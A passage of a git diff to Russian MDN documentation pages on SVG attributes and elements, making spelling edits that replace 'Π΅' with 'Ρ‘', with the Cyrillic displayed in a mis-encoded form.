ΠΏΡ€Π°Π²ΠΎΠΌΡƒ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΡŽ. Для ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΡŽ справа Π½Π°Π»Π΅Π²ΠΎ Ρ‚Π°ΠΊΠΈΠ΅Β ΠΊΠ°ΠΊ Π˜Π²Ρ€ΠΈΡ‚ ΠΈ Арабский это эквивалСнтно Π»Π΅Π²ΠΎΠΌΡƒ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΡŽ.</dd>
<dt>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</dt>
<dd>Π’ <strong>IE</strong>-11 Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <code><strong>text-anchor</strong></code> Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ эффСкта ΠΏΡ€ΠΈ привязкС тСкста ΠΊ Π·Π°Π΄Π°Π½Π½ΠΎΠΌΡƒ ΠΏΡƒΡ‚ΠΈ <strong><code>path</code></strong> посрСдством Ρ‚Π΅Π³Π° <code><strong>textPath</strong></code>.<br>
- Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Ρ‚Π΅Π³Β <strong><code>path</code></strong> использовался Ρ‚ΠΎΠ»ΡŒΠΊΠΎ лишь для отрисовки Π»ΠΈΠ½ΠΈΠΉ ΠΈ с располоТСниСм тСкста никак Π½Π΅ связан.</dd>
+ Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Ρ‚Π΅Π³Β <strong><code>path</code></strong> использовался Ρ‚ΠΎΠ»ΡŒΠΊΠΎ лишь для отрисовки Π»ΠΈΠ½ΠΈΠΉ ΠΈ с располоТСниСм тСкста никак Π½Π΅ связан.</dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
diff --git a/files/ru/web/svg/attribute/transform/index.html b/files/ru/web/svg/attribute/transform/index.html
index c202361239..944d0b51b0 100644
--- a/files/ru/web/svg/attribute/transform/index.html
+++ b/files/ru/web/svg/attribute/transform/index.html
@@ -71,7 +71,7 @@ translation_of: Web/SVG/Attribute/transform
&lt;!-- Π­Ρ‚ΠΎ элСмСнт Π΄ΠΎ примСнСния пСрСноса ΠΈ ΠΏΠΎΠ²ΠΎΡ€ΠΎΡ‚Π° --&gt;
&lt;rect x="50" y="50" height="100" width="100" style="stroke:#000; fill: #0086B2"<strong> </strong>fill-opacity=0.2 stroke-opacity=0.2&gt;&lt;/rect&gt;
- &lt;!-- Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ тСкстовый элСмСнт, ΠΏΠΎΠ²Π΅Ρ€Π½Π΅ΠΌ ΠΈ пСрСнСсСм ΠΎΠ±Π° элСмСнта --&gt;
+ &lt;!-- Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ тСкстовый элСмСнт, ΠΏΠΎΠ²Π΅Ρ€Π½Ρ‘ΠΌ ΠΈ пСрСнСсём ΠΎΠ±Π° элСмСнта --&gt;
&lt;rect x="50" y="50" height="100" width="100" style="stroke:#000; fill: #0086B2"<strong> transform="translate(30) rotate(45 50 50)"</strong>&gt;&lt;/rect&gt;
&lt;text x="60" y="105" <strong>transform="translate(30) rotate(45 50 50)"</strong>&gt; Hello Moz! &lt;/text&gt;
diff --git a/files/ru/web/svg/attribute/values/index.html b/files/ru/web/svg/attribute/values/index.html
index 72929084aa..d0544c82b8 100644
--- a/files/ru/web/svg/attribute/values/index.html
+++ b/files/ru/web/svg/attribute/values/index.html
@@ -7,12 +7,12 @@ translation_of: Web/SVG/Attribute/values
<p>Атрибут <code>values</code>Β ΠΈΠΌΠ΅Π΅Ρ‚ Π΄Π²Π° значСния Π² зависимости ΠΎΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ³ΠΎ контСкста.</p>
-<p>Для элСмСнтов Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>values</code> прСдставляСт собой Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ с запятой список ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. Π’ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Ρ‹ значСния Π² порядкС слСдования Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ. Если Π·Π°Π΄Π°Π½ список <code>values</code>, значСния Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² {{ SVGAttr("from") }}, {{ SVGAttr("to") }} ΠΈΒ {{ SVGAttr("by") }} ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ.</p>
+<p>Для элСмСнтов Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>values</code> прСдставляСт собой Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ с запятой список ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. Π’ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Ρ‹ значСния Π² порядкС слСдования Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ. Если Π·Π°Π΄Π°Π½ список <code>values</code>, значСния Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² {{ SVGAttr("from") }}, {{ SVGAttr("to") }} ΠΈΒ {{ SVGAttr("by") }} ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ.</p>
<p>Для элСмСнта {{ SVGElement("feColorMatrix") }} содСрТимоС <code>values</code> зависит ΠΎΡ‚ значСния Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° {{ SVGAttr("type") }}:</p>
<ul>
- <li>Для <code>type="matrix"</code>, <code>values</code> β€” это список ΠΈΠ· 20 Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΌΠ°Ρ‚Ρ€ΠΈΡ†Ρ‹ (А00 А01 А02 А03 А04 A10 А11... А34), Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ ΠΈ/ΠΈΠ»ΠΈ запятой.</li>
+ <li>Для <code>type="matrix"</code>, <code>values</code> β€” это список ΠΈΠ· 20 Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΌΠ°Ρ‚Ρ€ΠΈΡ†Ρ‹ (А00 А01 А02 А03 А04 A10 А11... А34), Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ ΠΈ/ΠΈΠ»ΠΈ запятой.</li>
<li>Для <code>type="saturate"</code>, <code>values</code> β€” это СдинствСнноС вСщСствСнноС число (ΠΎΡ‚ 0 Π΄ΠΎ 1).</li>
<li>Для <code>type="hueRotate"</code>, <code>values</code> β€” это ΠΎΠ΄Π½ΠΎ вСщСствСнноС число (градусов).</li>
<li>Для <code>type="luminanceToAlpha"</code>, <code>values</code> Π½Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌΡ‹.</li>
diff --git a/files/ru/web/svg/attribute/viewbox/index.html b/files/ru/web/svg/attribute/viewbox/index.html
index 1433367c9d..a3ad81efdb 100644
--- a/files/ru/web/svg/attribute/viewbox/index.html
+++ b/files/ru/web/svg/attribute/viewbox/index.html
@@ -9,7 +9,7 @@ translation_of: Web/SVG/Attribute/viewBox
<p><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Аттрибут </span></font>viewBox</code> опрСдСляСт располоТСниС ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ ΠΎΠΊΠ½Π° отобраТСния SVG.</p>
-<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>viewBox</code> — это Π½Π°Π±ΠΎΡ€Β Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… чисСл:Β <code>min-x</code>, <code>min-y</code>, <code>width</code> ΠΈ <code>height</code>, β€” Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ ΠΈ/ΠΈΠ»ΠΈ запятой, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°Π΄Π°ΡŽΡ‚Β ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ Π² ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ пространствС, стороны ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ ΠΎΠΊΠ½Π° отобраТСния элСмСнта SVG (Π½Π΅Β <a href="/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/Viewport">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</a>).</p>
+<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>viewBox</code> — это Π½Π°Π±ΠΎΡ€Β Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… чисСл:Β <code>min-x</code>, <code>min-y</code>, <code>width</code> ΠΈ <code>height</code>, β€” Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ ΠΈ/ΠΈΠ»ΠΈ запятой, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°Π΄Π°ΡŽΡ‚Β ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ Π² ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ пространствС, стороны ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ ΠΎΠΊΠ½Π° отобраТСния элСмСнта SVG (Π½Π΅Β <a href="/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/Viewport">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</a>).</p>
<div class="hidden">
<pre class="notranslate">html, body, svg {
diff --git a/files/ru/web/svg/element/animate/index.html b/files/ru/web/svg/element/animate/index.html
index 834677e633..0e6bda67b7 100644
--- a/files/ru/web/svg/element/animate/index.html
+++ b/files/ru/web/svg/element/animate/index.html
@@ -11,7 +11,7 @@ original_slug: Web/SVG/Π­Π»Π΅ΠΌΠ΅Π½Ρ‚/animate
---
<div>{{SVGRef}}</div>
-<p>Β Π’Π΅Π³ &lt;animate&gt; ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ Ρ„ΠΈΠ³ΡƒΡ€Ρ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Β &lt;circle&gt; . ΠžΠ½Β Π·Π°Π΄Π°Π΅Ρ‚ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽΒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β Ρ„ΠΈΠ³ΡƒΡ€Ρ‹. Π£ΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ со стартового значСния и Π΄ΠΎ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ³ΠΎ значСния с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»ΠΎΠΌ.</p>
+<p>Β Π’Π΅Π³ &lt;animate&gt; ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ Ρ„ΠΈΠ³ΡƒΡ€Ρ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Β &lt;circle&gt; . ΠžΠ½Β Π·Π°Π΄Π°Ρ‘Ρ‚ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽΒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β Ρ„ΠΈΠ³ΡƒΡ€Ρ‹. Π£ΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ со стартового значСния и Π΄ΠΎ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ³ΠΎ значСния с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»ΠΎΠΌ.</p>
<h2 id="ИспользованиС">ИспользованиС</h2>
diff --git a/files/ru/web/svg/element/animatemotion/index.html b/files/ru/web/svg/element/animatemotion/index.html
index 9a99ec4c5a..c585368d3c 100644
--- a/files/ru/web/svg/element/animatemotion/index.html
+++ b/files/ru/web/svg/element/animatemotion/index.html
@@ -102,7 +102,7 @@ original_slug: Web/SVG/Π­Π»Π΅ΠΌΠ΅Π½Ρ‚/animateMotion
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> Β ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° пСрСнос.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> Β ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° пСрСнос.</div>
<p>{{Compat("svg.elements.animateMotion")}}</p>
diff --git a/files/ru/web/svg/element/feblend/index.html b/files/ru/web/svg/element/feblend/index.html
index a131dd6aa6..371ca3dab7 100644
--- a/files/ru/web/svg/element/feblend/index.html
+++ b/files/ru/web/svg/element/feblend/index.html
@@ -8,7 +8,7 @@ original_slug: Web/SVG/Π­Π»Π΅ΠΌΠ΅Π½Ρ‚/feBlend
---
<div>{{SVGRef}}</div>
-<p><a href="/en-US/docs/Web/SVG">SVG </a>Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½Π°Β  <strong><code>&lt;feBlend&gt;</code></strong> ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΠ΅Ρ‚ Π΄Π²Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, управляСмых ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ Ρ€Π΅ΠΆΠΈΠΌΠΎΠΌ смСшивания. Π­Ρ‚ΠΎ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° Ρ€Π°Π±ΠΎΡ‚Ρƒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния для рСдактирования ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΏΡ€ΠΈ смСшивании Π΄Π²ΡƒΡ… слоСв. Π Π΅ΠΆΠΈΠΌ опрСдСляСтся Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌΒ  {{SVGAttr("mode")}}.</p>
+<p><a href="/en-US/docs/Web/SVG">SVG </a>Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½Π°Β  <strong><code>&lt;feBlend&gt;</code></strong> ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΠ΅Ρ‚ Π΄Π²Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, управляСмых ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Ρ€Π΅ΠΆΠΈΠΌΠΎΠΌ смСшивания. Π­Ρ‚ΠΎ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° Ρ€Π°Π±ΠΎΡ‚Ρƒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния для рСдактирования ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΏΡ€ΠΈ смСшивании Π΄Π²ΡƒΡ… слоёв. Π Π΅ΠΆΠΈΠΌ опрСдСляСтся Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌΒ  {{SVGAttr("mode")}}.</p>
<h2 id="Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ_контСкст">Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ контСкст</h2>
diff --git a/files/ru/web/svg/element/foreignobject/index.html b/files/ru/web/svg/element/foreignobject/index.html
index d247cea432..a48e75e668 100644
--- a/files/ru/web/svg/element/foreignobject/index.html
+++ b/files/ru/web/svg/element/foreignobject/index.html
@@ -5,7 +5,7 @@ translation_of: Web/SVG/Element/foreignObject
original_slug: Web/SVG/Π­Π»Π΅ΠΌΠ΅Π½Ρ‚/foreignObject
---
<div>{{SVGRef}}<br>
-Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ <strong><code>&lt;foreignObject&gt;</code></strong> <a href="/en-US/docs/Web/SVG">SVG</a> позволяСт Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΎΠ΅ пространство ΠΈΠΌΠ΅Π½ XML.<br>
+Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ <strong><code>&lt;foreignObject&gt;</code></strong> <a href="/en-US/docs/Web/SVG">SVG</a> позволяСт Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΎΠ΅ пространство ΠΈΠΌΡ‘Π½ XML.<br>
Π’ контСкстС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° это, скорСС всСго, XHTML / HTML.</div>
<div id="Exemple">
@@ -30,7 +30,7 @@ original_slug: Web/SVG/Π­Π»Π΅ΠΌΠ΅Π½Ρ‚/foreignObject
&lt;!-- Π’ΠΈΠΏΠΈΡ‡Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ использования: встраиваниС HTML-тСкста Π² SVG --&gt;
Β  &lt;foreignObject x="20" y="20" width="160" height="160"&gt;
&lt;!--
-Π’ контСкстС SVG, Π²Π½Π΅Π΄Ρ€Π΅Π½Π½ΠΎΠ³ΠΎ Π² HTML, пространство ΠΈΠΌΠ΅Π½ XHTML ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈ слСдуСт ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ,
+Π’ контСкстС SVG, Π²Π½Π΅Π΄Ρ€Ρ‘Π½Π½ΠΎΠ³ΠΎ Π² HTML, пространство ΠΈΠΌΡ‘Π½ XHTML ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈ слСдуСт ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ,
Π½ΠΎ это ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π² контСкстС Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° SVG
--&gt;
Β Β Β  &lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;
diff --git a/files/ru/web/svg/element/rect/index.html b/files/ru/web/svg/element/rect/index.html
index 0fdc102ad9..1e76b55a6a 100644
--- a/files/ru/web/svg/element/rect/index.html
+++ b/files/ru/web/svg/element/rect/index.html
@@ -9,7 +9,7 @@ original_slug: Web/SVG/Π­Π»Π΅ΠΌΠ΅Π½Ρ‚/rect
---
<div>{{SVGRef}}</div>
-<p><code>&lt;rect&gt;</code>Β  - это базовая SVG Ρ„ΠΈΠ³ΡƒΡ€Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для отрисовки ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠΎΠ² ΠΏΠΎ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π°ΠΌ ΡƒΠ³Π»Π°, Π΄Π»ΠΈΠ½Ρ‹ ΠΈ Π²Ρ‹ΡΠΎΡ‚Ρ‹Β ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°. Π’Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для отрисовки ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠΎΠ² со скруглСнными ΡƒΠ³Π»Π°ΠΌΠΈ.</p>
+<p><code>&lt;rect&gt;</code>Β  - это базовая SVG Ρ„ΠΈΠ³ΡƒΡ€Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для отрисовки ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠΎΠ² ΠΏΠΎ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π°ΠΌ ΡƒΠ³Π»Π°, Π΄Π»ΠΈΠ½Ρ‹ ΠΈ Π²Ρ‹ΡΠΎΡ‚Ρ‹Β ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°. Π’Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для отрисовки ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠΎΠ² со скруглёнными ΡƒΠ³Π»Π°ΠΌΠΈ.</p>
<h2 id="ΠšΠΎΠ½Ρ‚Π΅ΠΊΡΡ‚_использования">ΠšΠΎΠ½Ρ‚Π΅ΠΊΡΡ‚ использования</h2>
@@ -20,7 +20,7 @@ original_slug: Web/SVG/Π­Π»Π΅ΠΌΠ΅Π½Ρ‚/rect
<td>ΠŸΡ€ΠΎΡΡ‚Π°Ρ Ρ„ΠΈΠ³ΡƒΡ€Π°, ГрафичСский элСмСнт</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ содСрТимоС</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ содСрТимоС</th>
<td>Π›ΡŽΠ±ΠΎΠ΅ количСство ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… элСмСнтов Π² любом порядкС:<br>
<a href="/en/SVG/Element#Animation" title="en/SVG/Attribute#Animation">Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ</a>Β Β»<br>
<a href="/en/SVG/Element#Descriptive" title="en/SVG/Attribute#Descriptive">Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ описания</a>Β Β»</td>
@@ -50,7 +50,7 @@ original_slug: Web/SVG/Π­Π»Π΅ΠΌΠ΅Π½Ρ‚/rect
<p>Β» <a href="https://mdn.mozillademos.org/files/8893/rect-1.svg" title="https://developer.mozilla.org/files/3247/rect-1.svg">rect-1.svg</a></p>
-<h3 id="&lt;rect>_со_скруглСнными_ΡƒΠ³Π»Π°ΠΌΠΈ"><code>&lt;rect&gt;</code> со скруглСнными ΡƒΠ³Π»Π°ΠΌΠΈ</h3>
+<h3 id="&lt;rect>_со_скруглёнными_ΡƒΠ³Π»Π°ΠΌΠΈ"><code>&lt;rect&gt;</code> со скруглёнными ΡƒΠ³Π»Π°ΠΌΠΈ</h3>
<p>Β </p>
diff --git a/files/ru/web/svg/element/text/index.html b/files/ru/web/svg/element/text/index.html
index ffb6583fb6..e7cc42214d 100644
--- a/files/ru/web/svg/element/text/index.html
+++ b/files/ru/web/svg/element/text/index.html
@@ -27,7 +27,7 @@ original_slug: Web/SVG/Π­Π»Π΅ΠΌΠ΅Π½Ρ‚/<text>
.small { font: italic 13px sans-serif; }
.heavy { font: bold 30px sans-serif; }
- /* ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Ρ†Π²Π΅Ρ‚ тСкста задаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ *
+ /* ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Ρ†Π²Π΅Ρ‚ тСкста задаётся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ *
* fill свойства, Π° свойство color ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для HTML */
.Rrrrr { font: italic 40px serif; fill: red; }
&lt;/style&gt;
@@ -195,7 +195,7 @@ original_slug: Web/SVG/Π­Π»Π΅ΠΌΠ΅Π½Ρ‚/<text>
